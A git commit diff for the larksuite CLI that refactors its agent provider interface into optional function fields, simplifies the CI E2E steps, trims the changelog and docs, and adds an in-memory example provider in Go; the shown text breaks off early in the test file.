refactor: capability-registration provider model (func fields, framework-gated)

Replace the fat 9-method Provider interface with a struct of function fields,
mirroring the events KeyDefinition / shortcuts Shortcut convention: a provider
wires only the capabilities it supports and leaves the rest nil. This removes the
two things every integrator previously had to keep in sync by hand — the
Capabilities bool matrix and the per-method ErrUnsupported returns.

- Provider is now a struct: core Send/GetTask (mandatory, asserted at Register)
  plus optional func fields (ListTasks/CancelTask/context trio/DownloadArtifact/
  ListAgents) whose presence == support, plus FileInput/InputRequired flags and
  an optional Describe for per-agent card metadata.
- The card capability matrix is DERIVED from which fields are wired
  (DeriveCapabilities / BuildCard), so declaration and behavior are single-
  sourced and cannot drift. CatalogEntry drops its Capabilities field.
- The command layer gates every optional verb on the nil field and returns a
  unified unsupported_capability (exit 2) before any network access; the
  ErrUnsupported sentinel and convertUnsupported are deleted. --file is now
  capability-gated too (file_input=false ⇒ unsupported before the upload prompt).
- The Discoverer interface becomes the ListAgents field; catalog providers must
  wire it (asserted at Register). example expresses echo's minimal set vs
  reporter's full set purely by which fields its Factory wires per agent — no
  bool matrix, no refusal code. Conformance + tests updated to the new shape.

.github/workflows/ci.yml

@@ -263,19 +263,13 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        with:
-          fetch-depth: 0
       - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
         with:
           go-version-file: go.mod
       - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
         with:
           python-version: '3.x'
-      - name: Resolve CLI E2E domains
-        id: e2e_domains
-        run: node scripts/e2e_domains.js
       - name: Build lark-cli
-        if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
         run: make build
       - name: Run dry-run E2E tests
         env:
@@ -283,28 +277,7 @@ jobs:
           LARKSUITE_CLI_APP_ID: dry-run
           LARKSUITE_CLI_APP_SECRET: dry-run
           LARKSUITE_CLI_BRAND: feishu
-          E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
-          E2E_REASON: ${{ steps.e2e_domains.outputs.reason }}
-          E2E_DRY_ROOT_PACKAGE: ${{ steps.e2e_domains.outputs.dry_root_package }}
-          E2E_DRY_PACKAGES: ${{ steps.e2e_domains.outputs.dry_packages }}
-        run: |
-          if [ "$E2E_MODE" = "skip" ]; then
-            echo "No dry-run CLI E2E needed: $E2E_REASON"
-            exit 0
-          fi
-          if [ -z "$E2E_DRY_ROOT_PACKAGE" ] && [ -z "$E2E_DRY_PACKAGES" ]; then
-            echo "::error::No dry-run CLI E2E packages resolved for mode $E2E_MODE"
-            exit 1
-          fi
-          echo "Dry-run CLI E2E domains: $E2E_MODE ($E2E_REASON)"
-          if [ -n "$E2E_DRY_ROOT_PACKAGE" ]; then
-            echo "Dry-run CLI E2E root package: $E2E_DRY_ROOT_PACKAGE"
-            go test -v -count=1 -timeout=5m "$E2E_DRY_ROOT_PACKAGE"
-          fi
-          if [ -n "$E2E_DRY_PACKAGES" ]; then
-            echo "Dry-run CLI E2E packages: $E2E_DRY_PACKAGES"
-            go test -v -count=1 -timeout=5m $E2E_DRY_PACKAGES -run 'DryRun|Regression'
-          fi
+        run: go test -v -count=1 -timeout=5m ./tests/cli_e2e/... -run 'DryRun|Regression'
 
   e2e-live:
     needs: [unit-test, lint, script-test, deterministic-gate]
@@ -319,22 +292,15 @@ jobs:
       TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
-        with:
-          fetch-depth: 0
       - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
         with:
           go-version-file: go.mod
       - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
         with:
           python-version: '3.x'
-      - name: Resolve CLI E2E domains
-        id: e2e_domains
-        run: node scripts/e2e_domains.js
       - name: Build lark-cli
-        if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
         run: make build
       - name: Configure bot credentials
-        if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
         run: |
           if [ -z "$TEST_BOT1_APP_ID" ] || [ -z "$TEST_BOT1_APP_SECRET" ]; then
             echo "::error::Missing required secrets: TEST_BOT1_APP_ID / TEST_BOT1_APP_SECRET"
@@ -344,24 +310,16 @@ jobs:
       - name: Run CLI E2E tests
         env:
           LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
-          E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
-          E2E_REASON: ${{ steps.e2e_domains.outputs.reason }}
-          E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
         run: |
-          if [ "$E2E_MODE" = "skip" ]; then
-            echo "No live CLI E2E needed: $E2E_REASON"
-            exit 0
-          fi
-          packages="$E2E_LIVE_PACKAGES"
+          packages=$(go list ./tests/cli_e2e/... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '/demo$')
           if [ -z "$packages" ]; then
-            echo "::error::No live CLI E2E packages resolved for mode $E2E_MODE"
+            echo "No CLI E2E packages to test after exclusions."
             exit 1
           fi
-          echo "Live CLI E2E domains: $E2E_MODE ($E2E_REASON)"
-          echo "Live CLI E2E packages: $packages"
-          go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
+          packages_arg=$(printf '%s\n' "$packages" | paste -sd' ' -)
+          go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages_arg" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
       - name: Publish CLI E2E test report
-        if: ${{ !cancelled() && steps.e2e_domains.outputs.mode != 'skip' }}
+        if: ${{ !cancelled() }}
         uses: dorny/test-reporter@a43b3a5f7366b97d083190328d2c652e1a8b6aa2 # v3.0.0
         with:
           name: CLI E2E Tests

.gitignore

@@ -27,9 +27,6 @@ Thumbs.db
 # Go
 docs/ref
 docs/
-!tests/cli_e2e/docs/
-!tests/cli_e2e/docs/*.go
-!tests/cli_e2e/docs/*.md
 vendor/
 
 
@@ -55,3 +52,8 @@ cover*.out
 
 lark-env.sh
 /automations/
+
+# Local-only proof artifacts and coverage reports (never committed)
+coverage.html
+tests_e2e/
+tests_skill_eval/

CHANGELOG.md

@@ -2,110 +2,6 @@
 
 All notable changes to this project will be documented in this file.
 
-## [v1.0.67] - 2026-07-08
-
-### Features
-
-- **mail**: add message modify and trash shortcuts (#1567)
-- support whiteboard file inputs in docs XML (#1784)
-- **vc**: refine meeting-events output and reaction forwarding (#1674)
-- **affordance**: usage guidance for shortcuts and per-command skills (#1793)
-
-### Bug Fixes
-
-- accept opaque wiki node tokens (#1789)
-- **apps**: make db --environment optional, auto-select branch server-side (#1735)
-- preserve original filename in multipart file upload (#1767)
-
-### Documentation
-
-- restore one-time authorization guidance in lark-apps skill (#1794)
-
-### Misc
-
-- e2e: harden CLI E2E retry, cleanup, and domain selection (#1709)
-
-## [v1.0.66] - 2026-07-07
-
-### Features
-
-- support semantic recurring calendar operations (#1723)
-- minute wait (#1768)
-
-### Bug Fixes
-
-- guide drive import concurrency conflicts (#1751)
-- **calendar**: guide approval room booking fallback (#1637)
-- support pnpm global installs in self-update (#1705)
-- resolve schema against runtime metadata in plugin builds; gate cache overlay by version (#1764)
-
-### Documentation
-
-- tighten doc creation validation workflow (#1759)
-- clarify success envelope contract — judge success by ok, not code (#1730)
-
-### Refactoring
-
-- **envvars**: consolidate agent env value access (#1757)
-
-### Misc
-
-- Improve agent-facing error guidance for drive, markdown, and wiki (#1779)
-
-## [v1.0.65] - 2026-07-03
-
-### Features
-
-- **doc**: Add `+history-list`, `+history-revert`, and `+history-revert-status` shortcuts for document version history (#1612)
-
-### Bug Fixes
-
-- **minutes**: `+speaker-replace` no longer refetches the speaker list — `--from-speaker-id` is passed through as-is (#1731)
-
-### Documentation
-
-- **drive**: Document 30-char query limit for `+search` (#1560)
-- **doc**: Add mindnote guidance to lark-doc skill (#1581)
-- **doc**: Sync lark-doc skill content from online-doc (#1701)
-
-## [v1.0.64] - 2026-07-02
-
-### Features
-
-- **im**: Upgrade card send to Card 2.0 with full component reference (#1688)
-- **im**: Add `+chat-members-list` shortcut for member listing (#1398)
-- **okr**: Semi-plain text format with mention position preservation and `patch` shortcut (#1671)
-
-### Bug Fixes
-
-- **cli**: Point permission-apply link at official `/page/scope-apply` entry (#1722)
-- **cli**: Improve secure label error handling (#1707)
-- **cli**: Reduce public content token false positives
-- **cli**: Increase npm registry fetch timeout to 15s during update check (#1724)
-- **doc**: Align word statistics compound tokens (#1706)
-
-### Documentation
-
-- **approval**: Add detailed command-to-reference mapping for the approval skill (#1630)
-- **doc**: Support `reference_map` in docs (#1690)
-- **slides**: Refresh generation guidance — add constraints, drop template toolchain, and inline lint XML fixtures
-
-## [v1.0.62] - 2026-07-01
-
-### Features
-
-- **vc**: Add meeting message send shortcut (#1643)
-- **doc**: Add document word statistics helper (#1697)
-- **cli**: Interactive upgrade prompt for bare `lark-cli` invocation (#1498)
-- **install**: Fail closed when `checksums.txt` is missing during install (#1503)
-
-### Bug Fixes
-
-- **drive**: Improve batch failure handling for push/pull/sync (#1703)
-- **base**: Support JSON array input for field create (#1661)
-- **task**: Expose completion state in `my tasks` output (#1641)
-- **cli**: Reduce public content credential false positives (#1700)
-
 ## [v1.0.61] - 2026-06-30
 
 ### Features
@@ -1421,11 +1317,6 @@ Bundled AI agent skills for intelligent assistance:
 - Bilingual documentation (English & Chinese).
 - CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
 
-[v1.0.67]: https://github.com/larksuite/cli/releases/tag/v1.0.67
-[v1.0.66]: https://github.com/larksuite/cli/releases/tag/v1.0.66
-[v1.0.65]: https://github.com/larksuite/cli/releases/tag/v1.0.65
-[v1.0.64]: https://github.com/larksuite/cli/releases/tag/v1.0.64
-[v1.0.62]: https://github.com/larksuite/cli/releases/tag/v1.0.62
 [v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
 [v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
 [v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59

Makefile

@@ -51,7 +51,7 @@ script-test:
 	bash scripts/resolve-changed-from.test.sh
 	bash scripts/ci-workflow.test.sh
 	bash scripts/semantic-review-workflow.test.sh
-	$(NODE) --test scripts/e2e_domains.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
+	$(NODE) --test scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
 
 # ./extension/... keeps the public plugin SDK in the default test matrix.
 unit-test: fetch_meta

README.md

@@ -233,24 +233,6 @@ lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"chat_i
 --format csv       # Comma-separated values
 ```
 
-### JSON Output Contract
-
-With `--format json` (the default), success and error envelopes are distinct.
-
-Success goes to **stdout**, exit code `0`:
-
-```json
-{ "ok": true, "identity": "user", "data": { "guid": "..." }, "meta": { "count": 1 } }
-```
-
-Errors go to **stderr**, non-zero exit code:
-
-```json
-{ "ok": false, "identity": "user", "error": { "type": "api", "subtype": "...", "code": 99991679, "message": "...", "hint": "..." } }
-```
-
-To check whether a command succeeded, test `ok == true` (or the exit code) — **not** `code == 0`. Unlike raw OpenAPI responses (`{"code": 0, "msg": "ok", ...}`), the success envelope carries no `code` or `msg` field; `code` appears only inside `error` as the upstream OpenAPI code. See [errs/ERROR_CONTRACT.md](errs/ERROR_CONTRACT.md) for the full error taxonomy.
-
 ### Pagination
 
 ```bash

README.zh.md

@@ -234,24 +234,6 @@ lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"chat_i
 --format csv       # 逗号分隔值
 ```
 
-### JSON 输出契约
-
-`--format json`（默认）下，成功与错误的信封结构不同。
-
-成功信封写入 **stdout**，退出码 0：
-
-```json
-{ "ok": true, "identity": "user", "data": { "guid": "..." }, "meta": { "count": 1 } }
-```
-
-错误信封写入 **stderr**，退出码非 0：
-
-```json
-{ "ok": false, "identity": "user", "error": { "type": "api", "subtype": "...", "code": 99991679, "message": "...", "hint": "..." } }
-```
-
-判断命令是否成功，请检查 `ok == true`（或进程退出码），**不要用 `code == 0`**。与原始 OpenAPI 响应（`{"code": 0, "msg": "ok", ...}`）不同，成功信封没有 `code` 和 `msg` 字段；`code` 只出现在错误信封的 `error` 内，含义是上游 OpenAPI 的 numeric code。完整错误分类见 [errs/ERROR_CONTRACT.md](errs/ERROR_CONTRACT.md)。
-
 ### 分页
 
 ```bash

affordance/README.md

@@ -10,33 +10,18 @@ step. Maintain these files alongside `skills/` and `shortcuts/`.
 A small, fixed markdown subset; each file describes one domain:
 
     # <domain>            optional `> skill: <name>` applies to every command below
-    ## <command>          the command as typed, minus `lark-cli <domain>`; a
-                          +-prefixed heading (## +create) targets that shortcut
+    ## <command>          the command as typed, minus `lark-cli <domain>`
     <lead paragraph>      when to use this command
     ### Avoid when        when not to use it / which command to use instead
     ### Prerequisites     what you must have first (e.g. an id, and where it comes from)
     ### Tips              gotchas and constraints
     ### Examples          **description** lines, each followed by a fenced command
-    ### Skills            bullet skill names, or name/relpath references
-                          (lark-contact/references/x.md), to read for usage;
-                          merged with the domain `> skill:` default (deduped,
-                          domain first)
     ### <other heading>   a custom section; flows through verbatim
 
 Reference another command with `[[command]]` — it renders as `command` in help.
 Under `Avoid when` it means "use that one instead"; under `Prerequisites`
 ("… from [[command]]") it means "get the input there first".
 
-Both service-API commands (`## messages get`) and `+`-prefixed shortcuts
-(`## +create`) take entries. A `### Skills` entry is a skill name (validated
-against `<name>/SKILL.md`) or a `name/relpath` reference into that skill
-(validated against the path); help drops any that don't resolve, so a typo shows
-nothing. Point a command at its own reference (e.g. `+search-user` →
-`lark-contact/references/lark-contact-search-user.md`) rather than re-listing the
-domain skill, which the `> skill:` default already covers. When a shortcut also
-sets a hand-authored `Tips` list in Go, the overlay's `### Tips` win — they
-replace the Go tips (not merged), so keep tips in one place.
-
 ## Example
 
     ## messages get
@@ -62,5 +47,3 @@ replace the Go tips (not merged), so keep tips in one place.
   anything the schema and flags already show; the agent infers the rest.
 - Command-form headings resolve to method ids via the registry, so plural resource
   names (`messages`) map to the singular method id (`message`) automatically.
-  `+`-prefixed shortcut headings are matched verbatim (no plural/space folding),
-  so the heading must equal the shortcut command exactly (`## +history-revert`).

affordance/contact.md

@@ -1,42 +1,6 @@
 # contact
 > skill: lark-contact
 
-## +search-user
-The primary user lookup for user identity: search by keyword or email, resolve known ids with --user-ids, or get yourself with --user-ids me — it does by-id reads too, so as a user you rarely need `+get-user`. Each match returns an open_id and p2p_chat_id to chain into follow-ups.
-
-### Skills
-- lark-contact/references/lark-contact-search-user.md
-
-### Avoid when
-- Running as a bot — this shortcut is user-only; use [[+get-user]] instead (it supports bot identity)
-- You only need users' personal status for ids you already hold → use [[user_profiles batch_query]]
-
-### Examples
-
-**Find a user by name**
-```bash
-lark-cli contact +search-user --query "alice" --as user
-```
-
-**Fetch known users by open_id (me = yourself)**
-```bash
-lark-cli contact +search-user --user-ids "ou_3a8b****6a7b,me" --as user
-```
-
-## +get-user
-Fetch one user's profile by id, or your own with --user-id omitted. Use it under bot identity — `+search-user` is user-only.
-
-### Skills
-- lark-contact/references/lark-contact-get-user.md
-
-### Avoid when
-- You don't have the user's id yet, or want to match by name/keyword → use [[+search-user]]
-- Running as a user — [[+search-user]] --user-ids covers by-id reads and more in one tool
-
-### Tips
-- Self lookup (omit --user-id) needs user identity; a bot must pass --user-id
-- --user-id-type must match the id you pass (default open_id)
-
 ## user_profiles batch_query
 Bulk-fetch personal status and signature for user ids you already have.
 

agent/example/example.go

@@ -0,0 +1,365 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package example is the in-repo agent provider onboarding template and offline
+// demo backend: a hypothetical example business domain whose data / calls are
+// entirely in-memory mocks, with zero network. It has three roles:
+//
+//  1. A copy-start point for new integrators — copy the whole package and rename
+//     it; every key decision point carries a teaching comment from the
+//     "integrator's perspective" (how to fill registration fields, which
+//     capabilities to wire, how to make capability trade-offs);
+//  2. The command tree's offline demo backend — the full agent
+//     list/card/send/task/context chain runs for real without any platform
+//     configuration;
+//  3. A stable mock scheme for cmd-layer tests.
+//
+// Minimal checklist for onboarding a new provider (each item is demonstrated in
+// this package):
+//   - register metadata via agent.Register in init() (see the per-field comments below);
+//   - construct a *agent.Provider in the Factory, wiring one func field per
+//     capability you support — the core Send/GetTask are mandatory, every other
+//     field is optional and "not wired = not supported" (the framework returns a
+//     unified unsupported_capability error and derives the card matrix from what
+//     is wired, so there is no bool matrix to keep in sync and no capability-
+//     refusal code to write);
+//   - a catalog type (KindCatalog) must wire ListAgents (asserted at registration);
+//   - add a blank import under agent/register.go to trigger init registration;
+//   - run agenttest.RunConformance in tests to lock down implicit contracts.
+package example
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agent"
+)
+
+// scheme is this provider's ref prefix (example:<agent_id>). It is globally
+// unique; duplicate registration panics during init (aligned with the
+// sql.Register convention, fail-fast to expose onboarding errors).
+const scheme = "example"
+
+// catalog is the full agent set known at registration time. The catalog
+// boilerplate (enumeration / per-agent Card metadata / typed error for unknown
+// ids) is handled by the framework's StaticCatalog; the integrator only declares
+// the descriptive data. Capabilities are NOT declared here — see newProvider,
+// where each agent's supported capabilities are expressed by which Provider func
+// fields the Factory wires.
+var catalog = agent.NewStaticCatalog(scheme, []agent.CatalogEntry{
+	{
+		ID:          "echo",
+		Name:        "复读机",
+		Description: "把你发的话原样复读一遍（同一会话续发时带轮次，证明上下文记忆）。最小能力集示范。",
+	},
+	{
+		ID:          "reporter",
+		Name:        "报表生成器",
+		Description: "对任意请求产出一份内联 CSV 报表 artifact，示范 artifact 下载与任务取消链路。",
+	},
+})
+
+func init() {
+	// Registration contract (internal/agent/registry.go): everything except
+	// RequiredScopes is required; missing / invalid values panic. At registration
+	// time it also constructs a Provider once via a zero-value Deps probe — so the
+	// Factory must accept zero-value Deps and an empty agentID, have no side
+	// effects during construction (no network, no disk), and wire the mandatory
+	// core fields (Send/GetTask) plus, for a catalog type, ListAgents.
+	agent.Register(scheme, agent.ProviderInfo{
+		Factory: newProvider,
+		// Label: the user-facing provider name (the LABEL column in agent list).
+		Label: "Example 演示 agent（内存 mock，零网络）",
+		// AgentRefFormat: the written format of agent_ref, must start with "<scheme>:" (validated at registration).
+		AgentRefFormat: "example:<agent_id>",
+		// AgentIDSource: tells the user / AI where to get the agent_id — key
+		// information for AI-guided onboarding, referenced by the unknown-id hint
+		// and the not-discoverable list hint.
+		AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref（无需任何平台配置）",
+		// Kind: catalog type. Registration asserts the provider wires ListAgents,
+		// so `agent list example` can enumerate.
+		Kind: agent.KindCatalog,
+		// RequiredScopes: the full set of scopes this provider's real API calls
+		// need. example has zero network and calls no OAPI, so it is empty —
+		// scope preflight (cmd/agent/preflight.go) always passes for the empty
+		// set. A real provider must list every scope used by any verb (preflight
+		// is all-or-nothing).
+		RequiredScopes: nil,
+		// Identities: supported calling identities and their preconditions. The
+		// mock treats user/bot alike; if a real provider has a precondition for
+		// some identity (e.g. a bot needs channel whitelisting), put it in
+		// Precondition and the card passes it through to the AI verbatim.
+		Identities: []agent.IdentitySpec{
+			{Type: agent.IdentityUser},
+			{Type: agent.IdentityBot},
+		},
+	})
+}
+
+// state addresses one agent in the catalog. agentID may be empty — the
+// enumeration path (agent list example) and the registration probe construct a
+// state without an id.
+type state struct {
+	deps    agent.Deps
+	agentID string
+}
+
+// newProvider is the registered Factory. It assembles a *agent.Provider by
+// wiring the func fields for the capabilities this agent supports.
+//
+// Teaching focus — capability is expressed as wiring, per agent:
+//   - Core Send/GetTask are wired unconditionally (mandatory).
+//   - The always-on optionals (ListTasks, the context trio, ListAgents, Describe)
+//     are wired for every agent.
+//   - reporter additionally wires CancelTask + DownloadArtifact and sets
+//     FileInput — echo does not, so echo's card honestly shows task_cancel /
+//     artifact_download / file_input = false. There is no bool matrix: the card
+//     is derived from exactly these fields (internal/agent/card.go DeriveCapabilities).
+//   - A capability you do not wire needs zero refusal code: the command layer
+//     gates on the nil field and returns unified unsupported_capability before
+//     any provider method runs.
+//
+// Teaching point — the Factory does pure assignment only: it does not validate
+// agentID (an unknown id is rejected by catalog.Lookup inside the verbs that use
+// it, and by Describe on the card path; the empty-id probe/enumeration instance
+// must construct successfully) and does not touch deps (the mock has no use for
+// Client/As, but construction must have no side effects either way — the
+// zero-value Deps probe contract).
+func newProvider(deps agent.Deps, agentID string) (*agent.Provider, error) {
+	s := &state{deps: deps, agentID: agentID}
+	p := &agent.Provider{
+		Send:          s.send,
+		GetTask:       s.getTask,
+		ListTasks:     s.listTasks,
+		ListContexts:  s.listContexts,
+		GetContext:    s.getContext,
+		DeleteContext: s.deleteContext,
+		ListAgents:    s.listAgents,
+		Describe:      s.describe,
+	}
+	// Per-agent capability: reporter can be canceled and produces a downloadable
+	// artifact, accepts file input, and may pause a task in input_required; echo
+	// (minimal set) does none of these, so those fields stay nil/false and the
+	// framework reports them unsupported.
+	if agentID == "reporter" {
+		p.CancelTask = s.cancelTask
+		p.DownloadArtifact = s.downloadArtifact
+		p.FileInput = true
+		p.InputRequired = true
+	}
+	return p, nil
+}
+
+// describe supplies the per-agent Card metadata and validates the agent_id
+// (StaticCatalog.Describe returns a typed unknown-id error). Capabilities are
+// derived by the framework from the wired fields, so Describe never touches them.
+func (s *state) describe(ctx context.Context) (*agent.CardInfo, error) {
+	return catalog.Describe(s.agentID)
+}
+
+// listAgents enumerates the catalog: `agent list example` goes here.
+func (s *state) listAgents(ctx context.Context) ([]agent.AgentSummary, error) {
+	return catalog.ListAgents(ctx)
+}
+
+// send sends one message: the first turn generates a context_id to start a new
+// conversation, and --context-id continues within the same conversation. The
+// mock task has no async execution body, so send immediately returns in the
+// completed terminal state — the command layer's meta.next therefore directly
+// gives the terminal-state suggestion "view task detail and artifacts" rather
+// than a polling command.
+//
+// Teaching point (IsTerminal): IsTerminal is filled in here for convenience, but
+// leaving it out would be fine — the command layer's normalizeTask always
+// re-derives this field from State (single source), so a provider filling it in
+// wrong does not affect the watch exit code.
+func (s *state) send(ctx context.Context, in agent.SendInput) (*agent.AgentTask, error) {
+	entry, err := catalog.Lookup(s.agentID)
+	if err != nil {
+		return nil, err
+	}
+	// The mock task is instantly terminal, so there is no "feed input to a running
+	// task" scenario. Continuing via --task-id returns failed_precondition: the
+	// request itself is valid but the target resource's state does not satisfy it
+	// — reading this subtype, the AI knows to "try a different way" (start a new
+	// task) rather than retry as-is. (This is a genuine runtime precondition, not
+	// a capability gate — hence a typed error here, not an unwired field.)
+	if in.TaskID != "" {
+		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"example 的任务发出即完成（终态），无法向已有任务续发").
+			WithParam("--task-id").
+			WithHint("去掉 --task-id，用 --context-id 在同一会话起新一轮任务")
+	}
+
+	ctxID := in.ContextID
+	if ctxID == "" {
+		// First turn: generate a context_id (the anchor for the multi-turn
+		// context; later sends use it to continue the conversation).
+		ctxID, err = store.createContext(s.agentID, truncateTitle(in.Text))
+		if err != nil {
+			return nil, err
+		}
+	}
+
+	// createTask validates context ownership while holding the lock (an unknown /
+	// cross-agent context id is rejected inside with a typed validation error),
+	// computes the round, and inserts atomically; the build callback only
+	// assembles the task body according to the round.
+	task, err := store.createTask(s.agentID, ctxID, func(round int) agent.AgentTask {
+		var reply string
+		switch entry.ID {
+		case "echo":
+			// Echo the input; from round 2 on, add a round marker to prove
+			// across commands that context memory really works.
+			reply = in.Text
+			if round > 1 {
+				reply = fmt.Sprintf("%s（第 %d 轮）", in.Text, round)
+			}
+		default: // reporter
+			reply = "报表已生成：quarterly_report.csv（见 artifacts，用 task get --artifact <id> -o <path> 下载）"
+			if n := len(in.Files); n > 0 {
+				reply = fmt.Sprintf("已收到 %d 个附件；%s", n, reply)
+			}
+		}
+		t := agent.AgentTask{
+			TaskID:     newID("task"),
+			ContextID:  ctxID,
+			State:      agent.StateCompleted,
+			IsTerminal: true,
+			Messages: []agent.Message{
+				{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
+				{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
+			},
+		}
+		if entry.ID == "reporter" {
+			// The artifact exposes only fields the provider can truly deliver
+			// (the contract.go rule: do not create empty shell fields that cannot
+			// be filled): the GetTask stage gives ID + Kind (a coarse-grained type
+			// hint), while the file name / mime are exposed at the
+			// DownloadArtifact stage as suggested_name.
+			t.Artifacts = []agent.Artifact{{ID: newID("art"), Kind: "text"}}
+		}
+		return t
+	})
+	if err != nil {
+		return nil, err
+	}
+	return &task, nil
+}
+
+// getTask queries a single task's state and artifacts (reads the in-memory state machine).
+func (s *state) getTask(ctx context.Context, taskID string) (*agent.AgentTask, error) {
+	if _, err := catalog.Lookup(s.agentID); err != nil {
+		return nil, err
+	}
+	task, err := store.getTask(s.agentID, taskID)
+	if err != nil {
+		return nil, err
+	}
+	return &task, nil
+}
+
+// listTasks lists tasks, optionally filtered by contextID (empty string means no filter).
+func (s *state) listTasks(ctx context.Context, contextID string) ([]agent.TaskSummary, error) {
+	if _, err := catalog.Lookup(s.agentID); err != nil {
+		return nil, err
+	}
+	return store.listTasks(s.agentID, contextID), nil
+}
+
+// cancelTask cancels a task. It is wired only for reporter (task_cancel=true), so
+// echo never reaches it — the command layer gates echo's cancel on the nil field
+// and returns unsupported_capability before any provider code runs. The mock
+// task is completed the moment it is sent, so canceling a terminal task returns a
+// failed_precondition typed error (state not satisfied, exit 2) rather than
+// pretending success — honest error semantics matter as much as honest capability
+// wiring.
+func (s *state) cancelTask(ctx context.Context, taskID string) error {
+	if _, err := catalog.Lookup(s.agentID); err != nil {
+		return err
+	}
+	task, err := store.getTask(s.agentID, taskID)
+	if err != nil {
+		return err
+	}
+	if task.State.IsTerminal() {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"任务 '%s' 已处于终态 %s，无法取消", taskID, task.State).
+			WithHint("终态任务不可取消；用 lark-cli agent task get example:%s %s 查看结果", s.agentID, taskID)
+	}
+	return store.setTaskState(taskID, agent.StateCanceled)
+}
+
+// listContexts lists multi-turn contexts.
+func (s *state) listContexts(ctx context.Context) ([]agent.ContextSummary, error) {
+	if _, err := catalog.Lookup(s.agentID); err != nil {
+		return nil, err
+	}
+	return store.listContexts(s.agentID), nil
+}
+
+// getContext returns a single context's detail (including its task list).
+func (s *state) getContext(ctx context.Context, ctxID string) (*agent.ContextDetail, error) {
+	if _, err := catalog.Lookup(s.agentID); err != nil {
+		return nil, err
+	}
+	return store.getContext(s.agentID, ctxID)
+}
+
+// deleteContext deletes a context (a destructive operation; the --yes gate is in the command layer).
+func (s *state) deleteContext(ctx context.Context, ctxID string) error {
+	if _, err := catalog.Lookup(s.agentID); err != nil {
+		return err
+	}
+	return store.deleteContext(s.agentID, ctxID)
+}
+
+// reportCSV is the fixed content of the reporter artifact (inline text, demonstrating a Bytes-type artifact).
+const reportCSV = "quarter,revenue,cost,margin\n" +
+	"2026Q1,1250,830,0.336\n" +
+	"2026Q2,1410,905,0.358\n"
+
+// downloadArtifact fetches artifact data. It is wired only for reporter
+// (artifact_download=true); echo never reaches it (gated on the nil field).
+// example uses the inline Bytes type (the command layer writes it to disk
+// directly); the URL type (a real provider's signed URL) fills the URL field, and
+// SSRF validation plus the download are handled uniformly by the command layer.
+//
+// Teaching point (suggested_name): ArtifactData.Name is the "server-suggested
+// file name", echoed back only as a suggested_name for the caller to reference
+// when choosing -o — it is untrusted input and must never participate in
+// constructing the local save path (the contract.go rule; the save path is
+// always determined by -o/SafeOutputPath).
+func (s *state) downloadArtifact(ctx context.Context, taskID, artifactID string) (*agent.ArtifactData, error) {
+	if _, err := catalog.Lookup(s.agentID); err != nil {
+		return nil, err
+	}
+	task, err := store.getTask(s.agentID, taskID)
+	if err != nil {
+		return nil, err
+	}
+	for _, a := range task.Artifacts {
+		if a.ID == artifactID {
+			return &agent.ArtifactData{
+				Name:  "quarterly_report.csv",
+				Mime:  "text/csv",
+				Bytes: []byte(reportCSV),
+			}, nil
+		}
+	}
+	return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
+		WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", s.agentID, taskID)
+}
+
+// truncateTitle takes the first few characters of the message as the
+// conversation title (truncated by rune to avoid cutting a character in half).
+func truncateTitle(s string) string {
+	const max = 20
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max]) + "…"
+}

agent/example/example_test.go

@@ -0,0 +1,311 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package example
+
+import (
+	"context"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/agent/agenttest"
+)
+
+// swapStore replaces the package-level store with an isolated instance pointing at
+// t.TempDir, so tests do not pollute each other or the local demo snapshot.
+func swapStore(t *testing.T) {
+	t.Helper()
+	old := store
+	store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
